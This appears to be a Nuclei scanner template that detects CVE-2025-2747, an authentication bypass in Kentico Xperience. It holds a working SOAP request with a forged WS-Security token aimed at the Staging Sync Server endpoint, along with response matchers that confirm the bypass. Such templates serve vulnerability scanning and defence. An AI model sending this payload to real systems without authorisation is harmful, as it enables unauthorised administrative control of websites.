id: CVE-2025-2747

info:
  name: "Kentico - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An authentication bypass vulnerability in Kentico Xperience allows authentication bypass via the Staging Sync
    Server component password handling for the server defined None type. Authentication bypass allows an attacker
    to control administrative objects.This issue affects Xperience through 13.0.178.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-2747&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=kentico&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2747
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,kev,vkev,vuln
variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData"

        <?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Header>
                    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
                <wsse:UsernameToken>
                    <wsse:Username>y3t4kallxq</wsse:Username>
                    <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">6dfzCOJsdj5Aw+1rGzwoHadPFTQ=</wsse:Password>
                    <wsse:Nonce>4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh</wsse:Nonce>
                    <wsu:Created>2025-03-10T20:11:07Z</wsu:Created>
                        </wsse:UsernameToken>
                    </wsse:Security>
                </soap:Header>
                <soap:Body>
                    <ProcessSynchronizationTaskData xmlns="http://localhost/SyncWebService/SyncServer">
                        <stagingTaskData><![CDATA[<{{rand}}>]]></stagingTaskData>
                    </ProcessSynchronizationTaskData>
                </soap:Body>
            </soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{rand}}"
          - "<wsa:Action>"
        condition: and

      - type: word
        part: body
        words:
          - "Site not running"
          - "SyncServer.ErrorLicense"
          - "SyncServer.ErrorServiceNotEnabled"
          - "Staging service is not enabled on this server"
          - "Staging does not work with blank password"
          - "Missing X509 certificate token"
          - "The security token could not be authenticated or authorized"
        condition: or
        negative: true

      - type: word
        part: content_type
        words:
          - "text/xml"